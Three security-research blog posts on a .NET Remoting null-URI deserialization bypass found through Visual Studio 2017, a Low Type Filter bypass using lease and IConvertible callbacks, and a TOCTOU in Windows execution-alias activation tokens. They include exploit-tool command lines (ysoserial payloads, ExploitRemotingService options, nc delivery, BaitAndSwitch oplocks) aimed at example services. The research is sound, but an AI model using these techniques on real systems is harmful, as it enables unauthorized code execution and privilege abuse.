Wednesday, 6 November 2019

The Ethereal Beauty of a Missing Header

Skip to the end if you don't want to listen to me regaling you with a mostly made up story :-)

It was a dark and stormy night, as cliches goes you might as well go with a classic. With little else to occupy my time I booted my PC and awoke my trusted companion Wireshark (née Ethereal) and look what communications were being lost to time due to the impermanence of localhost. Hey, don't judge me, I wrote a book on it remember?

Observing the pastel shaded runes flashing before my eyes I divined a new understanding of that which remains hidden from a mortal's gaze. As if a metaphor for our existence I observed the BITS service shouting into void, desperately trying to ask a question of the WinRM service that will never be answered. In an instant something else caught my eye, unrelated to the intelligence or lack thereof of data transfers. As the hex flickered across my screen I realized in horror what it was; it's grim visage staring at me like some horrible ghost of the past. What I saw both repulsed and excited me, here was something I could reason about:

Those three little characters, .NET,  reverberated in my mind, almost as if the computer was repeating a forbidden soliloquy on the assumption it wouldn't be overheard. Here in the year, 2019, I shouldn't expect to read such a subversive codex as this. What malfeasance had my Operating System undertaken to spout such vulgar prose. It was a horrible night to find the .NET Remoting protocol.

It's said [citation needed], "Eternal damnation is reserved for evil people and developers who use insecure deprecated technologies," if such a distinction could be made between the two. Whomever was not paying attention to MSDN was clearly up to no good. I made the decision to track down the source of this abomination and bring them to justice. As with all high crimes, evidence of misdeeds is meaningless without suspects; assuming the perpetrator was still around I did what all good detectives do, used my position of authority (an Admin Command Prompt) and interrogated every shifty character who was hanging around the local neighborhood. Or at least I looked up the listening TCP ports using netstat with the -b switch to print the guilty party. Two suspects came immediately to light:

C:\> netstat -p TCP -nqb
....
TCP    127.0.0.1:51889        0.0.0.0:0              LISTENING
[devenv.exe]
TCP    127.0.0.1:51890        0.0.0.0:0              LISTENING
[Microsoft.Alm.Shared.Remoting.RemoteContainer.dll]

Caught red-handed, I moved in to apprehend them. Unfortunately, devenv (records indicate is an alias for Mr Visual Studio 2017 Esp, a cad of some notoriety) was too unwieldy to subdue. However his partner in crime was not so blessed and easily fell within my clutches. Dragging him back to the (work)station I subjected the rogue, whom I nicknamed Al due to his long, unpronounceable name, to a thorough interrogation. He easily confessed his secrets, with application of a bit of decompilation, part of which I've reproduced below for the edification of the reader:

public static IRemotingChannel RegisterRemotingChannel(
string portName) {
var sinkProvider = new BinaryServerFormatterSinkProvider
{
TypeFilterLevel = TypeFilterLevel.Full
};
var properties = new Dictionary<string, object> {
{ "name", portName },
{ "port", 0 },
{ "rejectRemoteRequests", true }
};
var channel = new TcpServerChannel(properties, sinkProvider);
return new RemotingChannel(channel,
() => channel.GetChannelUri());
}

Of course, the use of .NET Remoting had Al bang to rights, but even if a judge decided that wasn't sufficient of crime I could also charge him with using a TCP channel with no authentication and enabling a Full Type Filter mode. I asked Al to explain himself, so speaking in a cod, 18th Century Cockney accent (even though his identification was clearly of a man from the west coast of the United States of America) he tried to do so:

Moi: Didn't you know what you were doing was a crime against local security?
Al: Sure Guv'na, but devy told me that'd his bleedin' plan couldn't be exploited?
M: In what way did your mate 'devy' claim such a thing was possible?
A: Well for one, we'd not set a pre-agreed port to talk to us on. [Presumably referring to the use of port '0' which automatically allocates a random port].
M: But I found your port, it wasn't hard to do as I could hear you talking between yourselves. Surely he had a better plan that?
A: Well, we don't trust the scum from outside the neighborhood, we only trusted people locally. [This was the meaning of rejectRemoteRequests which ensures it only bind the port to localhost].
M: I'm surprised you trust everyone locally? What about other ne'er-do-wells logged on to the same machine but in different sessions?
A: See coppa' we thought of that, in order to talk to me or devy you'd need to know our secret code word, without that you ain't gettin' nowt. [the portName presumably].

This final answer stumped me, sure they weren't authenticating each other but at least if the code word was unguessable it'd be hard to exploit them. Further investigation indicated their secret code word was a randomly generated Globally Unique Identifier which would be almost impossible to forge. Maybe I'd have to let Al free after all?

But something gnawed at me, neither Al or Devy were very bright, there must be more to this story. After further pressing, Al confessed that he never remembered the code word, and instead had a friend, BinaryServerFormatterSink (Binny to those in a similar trade) verify it for them using the following check:

if (objectUri != lastUri
&& RemotingServices.GetServerTypeForUri(objectUri) == null)
throw new RemotingException();

lastUri = objectUri;

I realized that'd I'd got him. Binny was lazy, he remembered the last code word (lastUri) he'd been given and stored it away for safekeeping . If no one had ever talked to Al before then Binny didn't yet know the code word, you couldn't given him a random one but if you don't give him a code word at all then lastUri would equal objectUri because both were set to null. This whole scheme had come crashing down on their heads.

I reported Binny to the authorities (via a certain Chief Constable Dorrans) but they seemed to be little interested in making the perpetrator change their ways. I made a note in my log book (ExploitRemotingServices) and continued on my way, satisfied in a job well done, sort of.

The Less Wankery, Useful, Technical Bit

TL;DR; for some reason Visual Studio 2017 (and possibly 2019) has code which specifically uses .NET remoting in a fairly insecure way. It doesn't do authentication, it uses TCP for no obvious reason and it sets the type filter mode to Full which means it'd be trivially vulnerable to serialization attacks (see blog posts passim). However, on a positive note it does bind to localhost only, which will ensure it's not remotely exploitable and it chooses to generate a random service name, from a GUID, which makes it almost impossible to guess or brute force.

Therefore, it's basically unexploitable outside a difficult to win race condition and only if the attacker is on the same machine as the user running Visual Studio. I don't like those odds, so I never seriously considered reporting it to MSRC.

Why I am even blogging about it? It's all to do with the fact that you can not specify the URI, and as long a no one has previously connected to the service successfully then you can reach the call to BinaryFormatter::Deserialize and potentially get arbitrary code execution.  This might be especially interesting if you're running a pentesting engagement and you find an exposed .NET remoting service but do not have a copy of the client or server with which to extract the appropriate URI to make a call.

How would you know if you do find such a service? If you send garbage to a .NET remoting service (at least not in secure mode) it will respond with the previously mentioned magic ".NET" signature data, as show in the following screenshot from Wireshark:

When combined with the fact that the .NET remoting protocol doesn't require any negotiation (again assuming no secure mode) we can create a simple payload which would exploit any .NET remoting server assuming we have a suitable serialization payload, the server is running in Full type filter mode and nothing has previously connected to the service.

Let's put that payload together. You'll need the latest ExploitRemotingService from GitHub and also a copy of ysoserial.net to generate a serialization payload.  First run the following ysoserial comment to generate a simple TypeConfuseDelegate which will start notepad when deserialized and write the raw data to the file run_notepad.bin:

Now run ExploitRemotingService, ensuring you pass both the --nulluri option and the --path to output the request to a file and use the raw command with the run_notepad.bin file:

ExploitRemotingService.exe --nulluri --path request.bin tcp://127.0.0.1:1234/RemotingServer raw run_notepad.bin

You'll now have a file which looks like the following:

Normally before the serialized data there should be the URI for the remoting service (as shown in the first screenshot of this blog post), which is not present in this file. We can now test this out, run the ExampleRemotingService with the following command line, binding to port 1234 and running with Full type filter mode:

ExampleRemotingService.exe -p 1234 -t full

Using your favorite testing tool, such as netcat, just dump the file to TCP port 1234:

nc 127.0.0.1 1234 < request.bin

If everything is correct, you'll find notepad starts. If it doesn't work ensure you've built ExampleRemotingService as a .NET 4 binary otherwise the serialization payload won't execute.

What if the service has been connected to before and so the last URI has been set? One trick would be to find a way of causing the server to crash *cough* but that's out of the scope of this blog post. If anyone fancies adding a new plugin to ysoserial to generate the raw payload rather than needing two tools, then be my guest.

I think it's worth stressing, once again, that you really should not be using .NET remoting on anything you care about. I'd be interested to find out if anyone manages to use this technique on a real engagement.

Friday, 25 October 2019

Bypassing Low Type Filter in .NET Remoting

I recently added a new feature my .NET remoting exploitation tool which is many cases allow you to exploit an arbitrary service through serialization. This feature has always existed in the tool, if you passed the useser option, however it only worked if the service had enabled Full Type Filter mode, the default for remoting services is Low Type Filter which my tool couldn't easily exploit. I'm going to explain how I bypassed it Low Type Filter mode in the latest tool.

It's worth noting that this technique is currently unpatched, however no one should be using .NET remoting in a modern context (*cough* Visual Studio *cough*).

I'd recommend starting by reading my previous blog post on this subject as it describes where the Type Filtering comes into play. You can also read this MSDN page which describes what can and cannot be deserialized during a .NET remoting call with Low versus Full Type Filtering enabled.

In simple terms enabling Low (which is the default) over Full results in the following restrictions:
• Object types derived from MarshalByRefObject, DelegateSerializationHolder, ObjRef, IEnvoyInfo and ISponsor can not be deserialized.
• All objects which are deserialized must not Demand any CAS permission other than SerializationFormatter permission.
The useser technique abuses the fact that certain classes such as DirectoryInfo and FileInfo are both derived from MarshalByRefObject (MBR) and are also serializable. By deserializing an instance of one of the special classes inside a carefully crafted Hashtable, with a MBR instance of IEqualityComparer you can get the server to pass back the instance. As this object is passed back over a remoting the channel the DirectoryInfo or FileInfo objects are marshalled by reference and are stuck inside the server. We can now call methods on the returned object to read and write arbitrary files, which can use to get full code execution in the server. I've summarized the main interactions in the following diagram:

Low Type Filter acts to modify the behavior of the BinaryServerFormatterSink block, which encapsulates blocks 3, 4 and 5. The change in behavior blocks the useser technique in three ways.

Firstly in order to get the instance of the special object passed back to the client we need to pass a MBR IEqualityProvider. This will be blocked during handling of the remoting message (3).

Secondly when deserializing an instance of FileInfo or DirectoryInfo (4) a Demand is made for a FileIOPermission for the path to access. As the permission Demand is made during deserialization it hits the restriction that only SerializationFormatter permissions are allowed.

Thirdly, even if the object is deserialized successfully we'll hit a final problem, calling the IEqualityProvider (5 and 6) over a remoting channel to pass back the reference requires setting up a new TCP or Named Pipe connection. Setting up the connection will also hit the limited permissions and again throw an exception causing the call to fail.

How can we work around the three issues? Let's first bypass the type checking which prevents MBR objects being deserialized. If you dig into the code you'll find the type checks are performed in the ObjectReader::CheckSecurity method, which is as follows:

internal void CheckSecurity(ParseRecord pr) {
Type t = pr.PRdtType;
if ((object)t != null){
if(IsRemoting) {
if (typeof(MarshalByRefObject).IsAssignableFrom(t))
throw new ArgumentException();
FormatterServices.CheckTypeSecurity(t, formatterEnums.FEsecurityLevel);
}
}
}

The important thing to note is that the checks are only made if the IsRemoting property is true. What determines the value of the property? Again we can just look in the reference source:

private bool IsRemoting {
get {
return (bMethodCall || bMethodReturn);
}
}

What sets bMethodCall or bMethodReturn? They're set by the BinaryFormatter when it encounters the special MethodCall or MethodReturn record types. It turns out that maybe for performance or security (unclear) the formatter can special case these object types when used in .NET remoting and only storing properties of these objects when serializing and reconstructing the method objects when deserializing.

However if you read my previous blog post you'll notice something, I was unmarshalling a MBR instance of an IMessage, and that didn't hit the checks. This was because as long as the top level record is not a MethodCall or MethodReturn record type then we can deserialize anything we like, that was easy to bypass. In theory we can just pass a serialized Hashtable as the top level object, it'll cause the remoting server code to fault when trying to call methods on the message object but by then it'd be too late. In fact this is exactly what the useser option does anyway, however it's the second security feature which really causes us problems trying to get it to work on Low Type Filter.

When handling an incoming request is enables a PermitOnly CAS grant over the deserialization process, which only allows SerializationFormatter permissions to be asserted. You can see it in action in the reference source here, which I've copied below.

PermissionSet currentPermissionSet = null;
if (this.TypeFilterLevel != TypeFilterLevel.Full) {
currentPermissionSet = new PermissionSet(PermissionState.None);
currentPermissionSet.SetPermission(
      new SecurityPermission(
          SecurityPermissionFlag.SerializationFormatter));
}

try {
if (currentPermissionSet != null)
currentPermissionSet.PermitOnly();

// Deserialize Request - Stream to IMessage
requestMsg = CoreChannel.DeserializeBinaryRequestMessage(
    objectUri, requestStream, _strictBinding, this.TypeFilterLevel);
}
finally {
if (currentPermissionSet != null)
CodeAccessPermission.RevertPermitOnly();
} 

As we're passing the Hashtable containing the serialized object we want to capture as well as the MBR IEqualityComparer as the top level object all of our machinations will run during this PermitOnly grant, which as I've already noted will fail. If we could defer the deserialization, or at least any privileged operation until after the CAS grant is reverted we'd be able to exploit this trick, but how can we do that?

One way to defer code execution is to exploit object finalization. Basically when an object's resources are about to be reclaimed by the GC it'll call the object's finalizer. This call is made on a GC thread completely outside the deserialization process and so wouldn't be affected by the CAS PermitOnly grant. In fact abusing finalizers was something I pointed out in my original research on .NET serialization, a good example is the infamous TempFileCollection class.

I thought about trying to find a useful gadget to exploit this, however there were two problems. First the difficulty in finding a suitable object which is both serializable and has a useful finalizer defined and second, the call to the finalizer is non-deterministic as it's whenever the GC gets called. In theory the GC might never be called.

I decided to focus on a different approach based on a non-obvious observation. The PermitOnly security behaviors of Low Type Filter only apply when calling a method on a server object, not deserializing the return value. Therefore if I could find somewhere in the server which calls back to a MBR object I control then I can force the server to deserialize an arbitrary object. This object can be used to mount the attack as the deserialization would not occur under the PermitOnly CAS grant and I can use the same Hashtable trick to capture a DirectoryInfo or FileInfo object.

In theory you could find an exposed method on the server object to use for this callback, however I wanted my code to be generic and not require knowledge of the server object outside of the knowing the URI. Therefore it'd have to be a method we can call on the MBR or base Object class. An initial look only shows one candidate, the Object::Equals method which takes a single parameter. Unfortunately most of the time a server object won't override this method and the default just performs reference equality which doesn't call any methods on the passed object.

The only other candidates are the InitializeLifetimeServer or GetLifetimeService methods which  return an MBR which implements the ILease interface. I'm not going to go into what this is used for (you can read up on it on MSDN) but what I noticed was the ILease interface has a Register method which takes an object which implements ISponsor interface. If you registered an MBR object in the client with the server's lifetime service then when the server wants to check if the object should be destroyed it'll call the ISponsor::Renewal method, which gives us our callback. While the method doesn't return an object, we can just throw an exception with the Hashtable inside and exploit the service. Victory?

Not quite, it turns out that we've now got new problems. The first one is the Renewal call only happens when the lifetime counter expires, the default timeout is around 10 minutes from the last call to the server. This means that our exploit will only run at some long, potentially indeterminate point in time. Not the end of the world, but as frustrating as waiting for a GC run to get a finalizer executed. But the second problem seems more insurmountable, in order to set the ISponsor object we need to make an actual call to the server, however Low Type Filter would stop us from passing an MBR ISponsor object as the top level object would be a MethodCall record type which would throw an exception when it was encountered during argument deserialization.

What can we do? Turns out there's an easy way around this, the framework provides us with a full serializable MethodCall class. Instead of using the MethodCall record type we can instead package up a serializable MethodCall object as the top level object with all the data needed to make the call to Register. As the top level object is using a normal serialized object record type and not a MethodCall record type it'll never trigger the type checking and we can call Register with our MBR ISponsor object.

You might wonder if there's another problem here, won't deserializing the MBR cause the channel to be created and hit the PermitOnly CAS grant? Fortunately channel setup is deferred until a call is made on the object, therefore as long as no call is made to the MBR object during the deserialization process we'll be out of the CAS grant and able to setup the channel when the Renewal method is called.

We now have a way of exploiting the remoting service without knowledge of any specific methods on the server object, the only problem is we might need to wait 10 minutes to do it. Can we improve on the time? Digging further into default remoting implementation I noticed that if an argument being passed to a method isn't directly of the required type the method StackBuilderSink::SyncProcessMessage will call Message::CoerceArgs to try the coerce the argument to the correct type. The fallback is to call Convert::ChangeType passing the needed type and the object passed from the client. To convert to the correct type the code will see if the passed object implements the IConvertible interface and call the ToType method on it. Therefore, instead of passing an implementation of ISponsor to Register we just pass one which implements IConvertible the remoting code will try and coerce it using ChangeType which will give us our needed callback immediately without waiting 10 minutes. I've summarized the attack in the following diagram:

This entire exploit is implemented behind the uselease option. It works in the same way as useser but should work even if the server is running Low Type Filter mode. Of course there's caveats, this only works if the server sets up a bi-direction channel, if it registers a TcpChannel or IpcChannel then that should be fine, but if it just sets up a TcpServerChannel it might not work. Also you still need to know the URI of the server and bypass any authentication requirements.

If you want to try it out grab the code from github and compile it. First run the ExampleRemotingServer with the following command line:

ExampleRemotingService.exe -t low

This will run the example service with Low Type Filter. Now you can try useser with the following command line:

ExploitRemotingService.exe --useser tcp://127.0.0.1:12345/RemotingServer ls c:\

You should notice it fails. Now change useser to uselease and rerun the command:

ExploitRemotingService.exe --uselease tcp://127.0.0.1:12345/RemotingServer ls c:\

You should see a directory listing of the C: drive. Finally if you pass the autodir option the exploit tool will try and upload an assembly to the server's base directory and bootstrap a full server from which you can call other commands such as exec.

ExploitRemotingService.exe --uselease --autodir tcp://127.0.0.1:12345/RemotingServer exec notepad

If it all works you should find the example server will spawn notepad. This works on a fully up to date version of .NET (e.g. .NET 4.8).

The take away from this is DO NOT EVER USE .NET REMOTING IN PRODUCTION. Even if you're lucky and you're not exploitable for some reason the technologies should be completely deprecated and (presumably) will never be ported .NET Core.

Wednesday, 11 September 2019

Overview of Windows Execution Aliases

I thought I'd blogged about this topic, however it turns out I hadn't. This blog is in response to a recent Twitter thread from Bruce Dawson on a "fake" copy of Python which Microsoft seems to have force installed on some peoples Windows 10 1903 installations. I'll go through the main observation in the thread that the Python executable is 0 bytes in size, how this works under the hood to start a process and I'll finish with a dumb TOCTOU bug which still exists in part of the implementation which _might_ be useful as part of an EOP chain.

Execution Aliases for UWP applications were introduced in Windows 10 Fall Creators Update (1709/RS3). For application developers this feature is exposed by adding an AppExecutionAlias XML element to the application's manifest. The manifest information is used by the AppX installer to drop the alias into the %LOCALAPPDATA%\Microsoft\WindowsApps folder, which is also conveniently (or not depending on your POV) added to the user PATH environment variable. This allows you to start a UWP application as if it was a command line application, including passing command line arguments. One example is shown below, which is taken from the WinDbgX manifest.

<uap3:Extension Category="windows.appExecutionAlias" Executable="DbgX.Shell.exe" EntryPoint="Windows.FullTrustApplication"> <uap3:AppExecutionAlias> <desktop:ExecutionAlias Alias="WinDbgX.exe" />
</uap3:AppExecutionAlias> </uap3:Extension>

This specifies an execution alias to run DbgX.Shell.exe from the file WinDbgX.exe. If we go to the WindowsApps folder we can see that there is a file with that name, and as mentioned in the Twitter thread it is a 0 byte file. Also if you try and open the file (say using the type command) it fails.

How can an empty file result in a process being created? Executing the WinDbgX.exe file inside a shell while running Process Monitor shows some interesting results which I've highlighted below:

The first thing to highlight is the CreateFile calls which return a "REPARSE" result. This is a good indication that the file contains a reparse point. You might assume therefore that this file is a symbolic link to the real target, however a symbolic link would still be possible to open which we can't do. Another explanation is the reparse point is a custom type, not understood by the kernel. This ties in with the subsequent call to FileSystemControl with the FSCTL_GET_REPARSE_POINT code which would indicate some user-mode code is requesting information about the stored reparse point. Looking at the stack trace we can see who's requesting the reparse point data:

The stack trace shows the reparse point data is being queried from inside CreateProcess, through the exported function LoadAppExecutionAliasInfoEx. We can dig into CreateProcessInternal to see how it all works:

HANDLE token = ...; NTSTATUS status = NtCreateUserProcess(ApplicationName, ..., token); if (status == STATUS_IO_REPARSE_TAG_NOT_HANDLED) { LPWSTR alias_path = ResolveAlias(ApplicationName); PEXEC_ALIAS_DATA alias; LoadAppExecutionAliasInfoEx(alias_path, &alias); status = NtCreateUserProcess(alias.ApplicationName, ..., alias.Token); }

CreateProcessInternal will first try and execute the path directly, however as the file has an unknown reparse point the kernel fails to open the file with STATUS_IO_REPARSE_TAG_NOT_HANDLED. This status code provides a indicator to take an alternative route, the alias information is loaded from the file's reparse tag using LoadAppExecutionAliasInfoEx and an updated application path and access token are used to start new the new process.

What is the format of the reparse point data? We can easily dump the bytes and have a look in a hex editor:

The first 4 bytes is the reparse tag, in this case it's 0x8000001B which is documented in the Windows SDK as IO_REPARSE_TAG_APPEXECLINK. Unfortunately there doesn't seem to be a corresponding structure, but with a bit of reverse engineering we can work out the format is as follows:

Version: <4 byte integer>
Package ID: <NUL Terminated Unicode String>
Entry Point: <NUL Terminated Unicode String>
Executable: <NUL Terminated Unicode String>
Application Type: <NUL Terminated Unicode String>

The reason we have no structure is probably because it's a serialized format. The Version field seems to be currently set to 3, I'm not sure if there exists other versions used in earlier Windows 10 but I've not seen any. The Package ID and Entry Point is information used to identify the package, an execution alias can't be used like a shortcut for a normal application it can only resolve to an installed packaged application on the system. The Executable is the real file to executed that'll be used instead of the original 0 byte alias file. Finally Application Type is the type of application being created, while a string it's actually an integer formatted as a string. The integer seems to be zero for desktop bridge applications and non-zero for normal sandboxed UWP applications. I implemented a parser for the reparse data inside NtApiDotNet, you can view it in NtObjectManager using the Get-ExecutionAlias cmdlet.

The RAiGetPackageActivationToken RPC function takes a path to the execution alias and a template token (which is typically the current process token, or the explicit token if CreateProcessAsUser was called). The AppInfo service reads the reparse information from the execution alias and constructs an activation token based on that information. This token is then returned to the caller where it's used to construct the new process. It's worth noting that if the Application Type is non-zero this process doesn't actually create the AppContainer token and spawn the UWP application. This is because activation of a UWP application is considerably more complex to stuff into CreateProcess, so instead the execution alias' executable file is specified as the SystemUWPLauncher.exe file in system32 which completes activation based on the package information from the token.

What information does the activation token contain? It's basically the Security Attribute information for the package, this can't normally be modified from a user application, it requires TCB privilege. Therefore Microsoft do the token setup in a system service. An example token for the WinDbgX alias is shown below:

The rest of the activation process is not really that important. If you want to know more about the process checkout my talks on Desktop Bridge and the Windows Runtime.

I promised to finish up with a TOCTOU attack. In theory we should be able to create execution alias for any installed application package, it might not start a working process be we can use RAiGetPackageActivationToken to get a new token with explicit package security attributes which could be useful for further exploitation. For example we could try creating one for the Calculator package with the following PowerShell script (note this uses version information for calculator on 1903 x64).

Set-ExecutionAlias -Path C:\winapps\calc.exe 
-PackageName "Microsoft.WindowsCalculator_8wekyb3d8bbwe"
-EntryPoint "Microsoft.WindowsCalculator_8wekyb3d8bbwe!App" 
-Target "C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.53.0_x64__8wekyb3d8bbwe\Calculator.exe"
-AppType UWP1

If we call RAiGetPackageActivationToken this works and creates a new token, however it creates a reduced privilege UWP token (it's not an AppContainer but for example all privileges are stripped and the security attributes assumes it'll be in a sandbox). What if we wanted to create a Desktop Bridge token which isn't restricted in this way? We could change the AppType to Desktop, however if you do this you'll find RAiGetPackageActivationToken fails with an access denied error. Digging a bit deeper we find it fails in daxexec!PrepareDesktopAppXActivation, specifically when it's checking if the package contains any Centennial (now Desktop Bridge) applications.

HRESULT PrepareDesktopAppXActivation(PACTIVATION_INFO activation_info) { if ((activation_info->Flags & 1) == 0) { CreatePackageInformation(activation_info, &package_info); if (FAILED(package_info->ContainsCentennialApplications())) { return E_ACCESS_DENIED; // <-- Fails here. } } // ... }

This of course makes perfect sense, no point creating an desktop activation token for a package which doesn't have desktop applications. However, notice the if statement, if bit 1 is not set it does the check, however if set these checks are skipped entirely. Where does that bit get set? We need to go back to caller of PrepareDesktopAppXActivation, which is, unsurprisingly, RAiGetPackageActivationToken.

ACTIVATION_INFO activation_info = {}; bool trust_label_present = false; HRESULT hr = IsTrustLabelPresentOnReparsePoint(path, &trust_label_present); if (SUCCEEDED(hr) && trust_label_present) { activation_info.Flags |= 1; } PrepareDesktopAppXActivation(&activation_info);

This code shows that the flag is set based on the result of IsTrustLabelPresentOnReparsePoint. While we could infer what that function is doing let's reverse that as well:

HRESULT IsTrustLabelPresentOnReparsePoint(LPWSTR path,
bool *trust_label_present) { HANDLE file = CreateFile(path, READ_CONTROL, ...); if (file == INVALID_HANDLE_VALUE) return E_FAIL; PSID trust_sid; GetWindowsPplTrustLabelSid(&trust_sid); PSID sacl_trust_sid; GetSecurityInfo(file, SE_FILE_OBJECT, PROCESS_TRUST_LABEL_SECURITY_INFORMATION, &sacl_trust_sid); *trust_label_present = EqualSid(trust_sid, sacl_trust_sid); return S_OK; }

Basically what this code is doing is querying the file object for its Process Trust Label. The label can only be set by a Protected Process, which normally we're not. There are ways of injecting into such processes but without that we can't set the trust label. Without the trust label the service will do the additional checks which stop us creating an arbitrary desktop activation token for the Calculator package.

However notice how the check re-opens the file. This is occurring after the reparse point has been read which contains all the package details. It should be clear that here is a TOCTOU, if you can get the service to first read a execution alias with the package information, then switch that file to another which has a valid trust label we can disable the additional checks. This was an attack that my BaitAndSwitch tool was made for. If you build a copy then run the following command you can then use RAiGetPackageActivationToken with the path c:\x\x.exe and it'll bypass the checks:

BaitAndSwitch c:\x\x.exe c:\path\to\no_label_alias.exe c:\path\to\valid_label_alias.exe x

Note that the final 'x' is not a typo, this ensures the oplock is opened in exclusive mode which ensures it'll trigger when the file is initially opened to read the package information. Is there much you can really do with this? Probably not, but I thought it was interesting none the less. It'd be more interesting if this had disabled other, more important checks but it seems to only allow you to create a desktop activation token.

That about wraps it up for now. Embedding this functionality inside CreateProcess was clever, certainly over the crappy support for UAC which requires calling ShellExecute. However it also adds new and complex functionality to CreateProcess which didn't exist before, I'm sure there's probably some exploitable security bug in the code here, but I'm too lazy to find it :-)